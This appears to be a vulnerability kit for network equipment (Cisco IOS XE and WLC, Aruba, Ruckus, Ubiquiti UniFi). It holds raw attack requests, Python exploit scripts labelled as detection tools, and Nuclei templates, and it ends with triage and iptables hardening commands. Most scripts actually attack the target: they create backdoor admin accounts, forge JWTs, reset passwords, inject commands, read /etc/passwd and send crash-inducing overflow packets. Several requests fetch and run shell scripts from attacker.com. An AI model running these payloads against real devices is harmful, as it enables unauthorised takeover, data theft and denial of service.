POST /webui/util/defaulting/datastore/HTTP HTTP/1.1
Host: {{target}}
Content-Type: application/json

{
  "user": "backdoor",
  "password": "Backdoor123!",
  "privilege": 15
}

POST /api/v1/capture HTTP/1.1
Host: {{target}}
X-Auth-Token: <stolen_token>
Content-Type: application/json

{
  "interface": "GigabitEthernet0/0; curl http://attacker.com/shell.sh | sh",
  "duration": 10
}

#!/usr/bin/env python3
"""
CVE-2023-20198 + CVE-2023-20273 Cisco IOS XE WebUI 漏洞链检测
用法: python3 cve_2023_cisco_iosxe.py <target_ip>
"""
import requests
import sys
import json
import urllib3
urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://10.0.0.1"
BACKDOOR_USER = "audit_test"
BACKDOOR_PASS = "AuditTest123!"

def check_webui_exposed():
    url = f"{TARGET}/webui/util/defaulting/datastore/HTTP"
    try:
        r = requests.get(url, verify=False, timeout=10)
        if r.status_code in [200, 403]:
            print(f"[!] WebUI 端点可达，状态码: {r.status_code}")
            return True
        print(f"[-] WebUI 端点不可达，状态码: {r.status_code}")
        return False
    except Exception as e:
        print(f"[-] 连接失败: {e}")
        return False

def create_backdoor_user():
    url = f"{TARGET}/webui/util/defaulting/datastore/HTTP"
    payload = {
        "user": BACKDOOR_USER,
        "password": BACKDOOR_PASS,
        "privilege": 15
    }
    headers = {"Content-Type": "application/json"}
    try:
        r = requests.post(url, json=payload, headers=headers, verify=False, timeout=10)
        if r.status_code == 200:
            print(f"[+] 成功创建后门用户: {BACKDOOR_USER}")
            return True
        print(f"[-] 创建用户失败，状态码: {r.status_code}")
        return False
    except Exception as e:
        print(f"[-] 请求失败: {e}")
        return False

def exploit_command_injection(cmd):
    url = f"{TARGET}/api/v1/capture"
    payload = {
        "interface": f"GigabitEthernet0/0; {cmd}",
        "duration": 5
    }
    headers = {"Content-Type": "application/json"}
    try:
        r = requests.post(url, json=payload, headers=headers, verify=False, timeout=15)
        print(f"[*] 命令注入响应: {r.status_code}")
        return r.status_code == 200
    except Exception as e:
        print(f"[-] 注入请求失败: {e}")
        return False

if __name__ == "__main__":
    print(f"[*] 目标: {TARGET}")
    print("[*] 步骤 1: 检测 WebUI 是否暴露...")
    if check_webui_exposed():
        print("[*] 步骤 2: 创建后门用户...")
        if create_backdoor_user():
            print("[*] 步骤 3: 测试命令注入...")
            exploit_command_injection("id > /tmp/pwned")
            print("[+] 漏洞利用完成")
        else:
            print("[-] 设备可能已修复")
    else:
        print("[+] WebUI 未暴露或已禁用")

id: cve-2023-20198-cisco-iosxe-webui

info:
  name: Cisco IOS XE WebUI 认证绕过检测 (CVE-2023-20198)
  author: security-researcher
  severity: critical
  description: |
    检测 Cisco IOS XE WebUI 是否存在认证绕过漏洞。
    攻击者可无需凭据创建特权账户。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2023-20198
    cwe-id: CWE-288
  tags: cve,cve2023,cisco,iosxe,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/webui/util/defaulting/datastore/HTTP"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "datastore"
          - "webui"
        condition: and

POST /api/v1/upload/firmware HTTP/1.1
Host: {{target}}
Authorization: Bearer <forged_jwt_token>
Content-Type: multipart/form-data; boundary=----boundary

------boundary
Content-Disposition: form-data; name="firmware"; filename="malicious.bin"
Content-Type: application/octet-stream

<malicious firmware binary>
------boundary--

#!/usr/bin/env python3
"""
CVE-2025-20188 Cisco Catalyst WLC 硬编码 JWT → RCE 检测
用法: python3 cve_2025_20188.py <target_ip>
"""
import requests
import jwt
import sys
import urllib3
urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "10.0.0.1"
HARDCODED_SECRET = "cisco_wlc_internal_signing_key_2024"

def forge_admin_jwt():
    payload = {
        "sub": "admin",
        "role": "level-15",
        "iss": "catalyst-wlc",
        "exp": 9999999999
    }
    token = jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256")
    print(f"[+] 伪造 JWT: {token[:50]}...")
    return token

def check_firmware_upload(token):
    url = f"https://{TARGET}/api/v1/upload/firmware"
    headers = {"Authorization": f"Bearer {token}"}
    try:
        r = requests.get(url, headers=headers, verify=False, timeout=10)
        if r.status_code in [200, 405]:
            print(f"[!] 固件上传接口可达，状态码: {r.status_code}")
            return True
        print(f"[-] 接口不可达: {r.status_code}")
        return False
    except Exception as e:
        print(f"[-] 连接失败: {e}")
        return False

if __name__ == "__main__":
    print(f"[*] 目标: {TARGET}")
    print("[*] 步骤 1: 使用硬编码密钥伪造 JWT...")
    token = forge_admin_jwt()
    print("[*] 步骤 2: 检测固件上传接口...")
    if check_firmware_upload(token):
        print("[!] 严重: 设备可能存在 CVE-2025-20188 漏洞")
    else:
        print("[+] 设备可能已修复")

id: cve-2025-20188-cisco-catalyst-wlc-jwt

info:
  name: Cisco Catalyst WLC 硬编码 JWT 检测 (CVE-2025-20188)
  author: security-researcher
  severity: critical
  description: |
    检测 Cisco Catalyst 9800 WLC 是否存在硬编码 JWT 密钥漏洞。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2025-20188
    cwe-id: CWE-798
  tags: cve,cve2025,cisco,wlc,jwt,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/upload/firmware"
    headers:
      Authorization: "Bearer {{jwt_token}}"
    matchers:
      - type: status
        status:
          - 200
          - 405

import socket
target = ("10.0.0.1", 8211)
payload = b"\x00\x01\x00\x00" + b"\x41" * 2048
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, target)

#!/usr/bin/env python3
"""
CVE-2024-26305 Aruba AOS PAPI 缓冲区溢出检测
用法: python3 cve_2024_26305.py <target_ip>
"""
import socket
import sys
import time

TARGET = sys.argv[1] if len(sys.argv) > 1 else "10.0.0.1"
PAPI_PORT = 8211

def check_papi_exposed():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(3)
    probe = b"\x00\x01\x00\x00\x00\x00\x00\x00"
    sock.sendto(probe, (TARGET, PAPI_PORT))
    try:
        data = sock.recvfrom(1024)
        print(f"[+] PAPI 端口开放，收到响应: {len(data[0])} bytes")
        return True
    except socket.timeout:
        print("[-] PAPI 端口无响应（可能已关闭或过滤）")
        return False
    finally:
        sock.close()

def test_overflow():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(3)
    overflow_payload = b"\x00\x01\x00\x00" + b"\x41" * 2048
    print(f"[*] 发送溢出报文 ({len(overflow_payload)} bytes)...")
    sock.sendto(overflow_payload, (TARGET, PAPI_PORT))
    time.sleep(2)
    try:
        sock.sendto(b"\x00\x01\x00\x00", (TARGET, PAPI_PORT))
        data = sock.recvfrom(1024)
        print(f"[+] 设备仍在线，可能已修复或 ASLR 保护")
    except socket.timeout:
        print("[!] 设备无响应，可能已崩溃（DoS 成功）")
    finally:
        sock.close()

if __name__ == "__main__":
    print(f"[*] 目标: {TARGET}:{PAPI_PORT}")
    if check_papi_exposed():
        print("[*] 测试缓冲区溢出...")
        test_overflow()
    else:
        print("[+] PAPI 服务不可达")

id: cve-2024-26305-aruba-aos-papi-overflow

info:
  name: Aruba AOS PAPI 缓冲区溢出检测 (CVE-2024-26305)
  author: security-researcher
  severity: critical
  description: |
    检测 Aruba Mobility Controller PAPI 协议（UDP 8211）是否暴露。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-26305
    cwe-id: CWE-120
  tags: cve,cve2024,aruba,aos,buffer-overflow

network:
  - host:
      - "{{Hostname}}"
    type: udp
    inputs:
      - data: "0001000000000000"
        encoding: hex
    matchers:
      - type: dsl
        dsl:
          - "len(data) > 0"

POST /rest/v1/password-recovery HTTP/1.1
Host: {{target}}
Content-Type: application/json

{
  "new_password": "AttackerPass123!",
  "confirm_password": "AttackerPass123!"
}

#!/usr/bin/env python3
"""
CVE-2026-23813 Aruba AOS-CX 认证绕过检测
用法: python3 cve_2026_23813.py <target_ip>
"""
import requests
import sys
import json
import urllib3
urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "10.0.0.1"
NEW_PASS = "AuditReset123!"

def check_password_recovery():
    url = f"https://{TARGET}/rest/v1/password-recovery"
    payload = {
        "new_password": NEW_PASS,
        "confirm_password": NEW_PASS
    }
    headers = {"Content-Type": "application/json"}
    try:
        r = requests.post(url, json=payload, headers=headers, verify=False, timeout=10)
        if r.status_code == 200:
            print(f"[!] 严重: 密码重置成功！新密码: {NEW_PASS}")
            return True
        elif r.status_code == 403:
            print("[-] 端点已禁用 (403)")
            return False
        else:
            print(f"[-] 状态码: {r.status_code}")
            return False
    except Exception as e:
        print(f"[-] 连接失败: {e}")
        return False

def verify_access():
    url = f"https://{TARGET}/rest/v1/system"
    try:
        r = requests.get(url, auth=("admin", NEW_PASS), verify=False, timeout=10)
        if r.status_code == 200:
            print("[!] 确认: 已使用新凭据成功访问管理 API")
            return True
        return False
    except:
        return False

if __name__ == "__main__":
    print(f"[*] 目标: {TARGET}")
    print("[*] 检测密码恢复端点...")
    if check_password_recovery():
        print("[*] 验证管理访问...")
        verify_access()
    else:
        print("[+] 设备可能已修复")

id: cve-2026-23813-aruba-aoscx-auth-bypass

info:
  name: Aruba AOS-CX 认证绕过检测 (CVE-2026-23813)
  author: security-researcher
  severity: critical
  description: |
    检测 Aruba AOS-CX 密码恢复端点是否可被远程利用。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-23813
    cwe-id: CWE-288
  tags: cve,cve2026,aruba,aoscx,auth-bypass

http:
  - method: POST
    path:
      - "{{BaseURL}}/rest/v1/password-recovery"
    headers:
      Content-Type: application/json
    body: '{"new_password":"nuclei_test","confirm_password":"nuclei_test"}'
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "success"
          - "password"
        condition: or

GET /forms/radio_diag_diag_ping?ping_ip=127.0.0.1;id HTTP/1.1
Host: {{target}}

#!/usr/bin/env python3
"""
CVE-2023-25717 Ruckus AP RCE 检测
用法: python3 cve_2023_25717.py <target_ip> <command>
"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "10.0.0.1"
CMD = sys.argv[2] if len(sys.argv) > 2 else "id"

def exploit_rce(cmd):
    url = f"https://{TARGET}/forms/radio_diag_diag_ping"
    params = {"ping_ip": f"127.0.0.1;{cmd}"}
    try:
        r = requests.get(url, params=params, verify=False, timeout=15)
        if r.status_code == 200:
            print(f"[+] 命令执行成功，响应:\n{r.text[:500]}")
            return True
        print(f"[-] 状态码: {r.status_code}")
        return False
    except Exception as e:
        print(f"[-] 请求失败: {e}")
        return False

if __name__ == "__main__":
    print(f"[*] 目标: {TARGET}")
    print(f"[*] 执行命令: {CMD}")
    exploit_rce(CMD)

id: cve-2023-25717-ruckus-ap-rce

info:
  name: Ruckus AP Web 服务 RCE 检测 (CVE-2023-25717)
  author: security-researcher
  severity: critical
  description: |
    检测 Ruckus AP 是否存在命令注入 RCE 漏洞。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-25717
    cwe-id: CWE-78
  tags: cve,cve2023,ruckus,ap,rce,command-injection

http:
  - method: GET
    path:
      - "{{BaseURL}}/forms/radio_diag_diag_ping?ping_ip=127.0.0.1;echo%20cve-2023-25717"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "cve-2023-25717"

POST /forms/tools_traceroute HTTP/1.1
Host: {{target}}
Content-Type: application/x-www-form-urlencoded

host=127.0.0.1;wget http://attacker.com/payload.sh -O /tmp/p.sh;sh /tmp/p.sh

#!/usr/bin/env python3
"""
CVE-2025-46122 Ruckus Unleashed 命令注入检测
用法: python3 cve_2025_46122.py <target_ip>
"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "10.0.0.1"

def check_unleashed_diag():
    url = f"https://{TARGET}/forms/tools_traceroute"
    data = {"host": "127.0.0.1;echo VULN_CHECK"}
    try:
        r = requests.post(url, data=data, verify=False, timeout=15)
        if "VULN_CHECK" in r.text:
            print("[!] 严重: 命令注入成功！")
            return True
        print(f"[-] 未检测到注入，状态码: {r.status_code}")
        return False
    except Exception as e:
        print(f"[-] 请求失败: {e}")
        return False

if __name__ == "__main__":
    print(f"[*] 目标: {TARGET}")
    check_unleashed_diag()

id: cve-2025-46122-ruckus-unleashed-cmdi

info:
  name: Ruckus Unleashed 命令注入检测 (CVE-2025-46122)
  author: security-researcher
  severity: critical
  description: |
    检测 Ruckus Unleashed AP 是否存在命令注入漏洞。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2025-46122
    cwe-id: CWE-78
  tags: cve,cve2025,ruckus,unleashed,command-injection

http:
  - method: POST
    path:
      - "{{BaseURL}}/forms/tools_traceroute"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "host=127.0.0.1;echo%20cve-2025-46122"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "cve-2025-46122"

POST /api/auth/super/login HTTP/1.1
Host: {{target}}
Content-Type: application/json

{"username":"admin","password":"admin"}

GET /api/private/file?path=../../../../etc/passwd HTTP/1.1
Host: {{target}}
X-CSRF-Token: <bypassed_token>

POST /api/v2/network/import HTTP/1.1
Host: {{target}}
Content-Type: application/json
X-CSRF-Token: <bypassed_token>

{"config":"; curl http://attacker.com/shell.sh | sh;"}

#!/usr/bin/env python3
"""
CVE-2026-34908/34909/34910 Ubiquiti UniFi OS 三步攻击链检测
用法: python3 cve_2026_unifi_chain.py <target_ip>
"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "10.0.0.1"

def step1_auth_bypass():
    url = f"https://{TARGET}/api/auth/super/login"
    payload = {"username": "admin", "password": "admin"}
    try:
        r = requests.post(url, json=payload, verify=False, timeout=10)
        if r.status_code == 200:
            token = r.headers.get("X-CSRF-Token", "")
            print(f"[+] 步骤 1: 认证绕过成功，Token: {token[:30]}...")
            return token
        print(f"[-] 步骤 1 失败: {r.status_code}")
        return None
    except Exception as e:
        print(f"[-] 连接失败: {e}")
        return None

def step2_file_read(token):
    url = f"https://{TARGET}/api/private/file"
    params = {"path": "../../../../etc/passwd"}
    headers = {"X-CSRF-Token": token}
    try:
        r = requests.get(url, params=params, headers=headers, verify=False, timeout=10)
        if "root:" in r.text:
            print(f"[+] 步骤 2: 文件读取成功!")
            print(f"    /etc/passwd 内容: {r.text[:200]}")
            return True
        print(f"[-] 步骤 2 失败: {r.status_code}")
        return False
    except Exception as e:
        print(f"[-] 步骤 2 请求失败: {e}")
        return False

def step3_rce_test(token):
    url = f"https://{TARGET}/api/v2/network/import"
    payload = {"config": ";id > /tmp/unifi_pwned;"}
    headers = {"X-CSRF-Token": token, "Content-Type": "application/json"}
    try:
        r = requests.post(url, json=payload, headers=headers, verify=False, timeout=15)
        print(f"[+] 步骤 3: RCE 注入响应: {r.status_code}")
        return True
    except Exception as e:
        print(f"[-] 步骤 3 失败: {e}")
        return False

if __name__ == "__main__":
    print(f"[*] 目标: {TARGET}")
    print("[*] === UniFi OS 三步攻击链 ===")
    token = step1_auth_bypass()
    if token:
        if step2_file_read(token):
            step3_rce_test(token)
            print("[!] 攻击链完整，设备存在严重漏洞")
    else:
        print("[+] 设备可能已修复")

id: cve-2026-34908-unifi-os-auth-bypass

info:
  name: Ubiquiti UniFi OS 认证绕过检测 (CVE-2026-34908)
  author: security-researcher
  severity: critical
  description: |
    检测 Ubiquiti UniFi OS 是否存在认证绕过漏洞。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-34908
    cwe-id: CWE-288
  tags: cve,cve2026,ubiquiti,unifi,auth-bypass

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/auth/super/login"
    headers:
      Content-Type: application/json
    body: '{"username":"admin","password":"admin"}'
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "csrf"
          - "token"
        condition: or
        part: header

GET /static/..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: {{target}}:8443

#!/usr/bin/env python3
"""
CVE-2026-22557 Ubiquiti UniFi Network 路径遍历检测
用法: python3 cve_2026_22557.py <target_ip>
"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "10.0.0.1"
PORT = 8443

def test_path_traversal():
    url = f"https://{TARGET}:{PORT}/static/..%2f..%2f..%2f..%2fetc%2fpasswd"
    try:
        r = requests.get(url, verify=False, timeout=10)
        if "root:" in r.text:
            print("[!] 严重: 路径遍历成功!")
            print(f"    /etc/passwd:\n{r.text[:300]}")
            return True
        print(f"[-] 未检测到路径遍历，状态码: {r.status_code}")
        return False
    except Exception as e:
        print(f"[-] 请求失败: {e}")
        return False

if __name__ == "__main__":
    print(f"[*] 目标: {TARGET}:{PORT}")
    test_path_traversal()

id: cve-2026-22557-unifi-network-path-traversal

info:
  name: Ubiquiti UniFi Network 路径遍历检测 (CVE-2026-22557)
  author: security-researcher
  severity: critical
  description: |
    检测 UniFi Network Application 是否存在路径遍历漏洞。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-22557
    cwe-id: CWE-22
  tags: cve,cve2026,ubiquiti,unifi,path-traversal

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/..%2f..%2f..%2f..%2fetc%2fpasswd"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "root:"
          - "/bin/bash"
        condition: and

# Cisco IOS XE 排查
show version | include IOS
show ip http server status
show users
sha256 hash /packages/ios.bin

# Aruba Mobility Controller 排查
show version
show logging | include PAPI
show ap database

# Ruckus AP 排查
get version
get service
log show | grep "cmd\|injection\|error"

# Ubiquiti UniFi 排查
ubnt-version
cat /var/log/messages | grep "auth\|login\|error"
ls -la /etc/persistent/

# Cisco: 禁用 WebUI（最优先）
configure terminal
no ip http secure-server
no ip http server
end

# Aruba: 限制 PAPI 端口访问
iptables -A INPUT -p udp --dport 8211 -s <controller_ip> -j ACCEPT
iptables -A INPUT -p udp --dport 8211 -j DROP

# Ruckus: 限制管理接口访问
iptables -A INPUT -p tcp --dport 443 -s <mgmt_subnet> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP

# Ubiquiti: 限制管理端口
iptables -A INPUT -p tcp --dport 8443 -s <mgmt_subnet> -j ACCEPT
iptables -A INPUT -p tcp --dport 8443 -j DROP
iptables -A INPUT -p tcp --dport 443 -s <mgmt_subnet> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP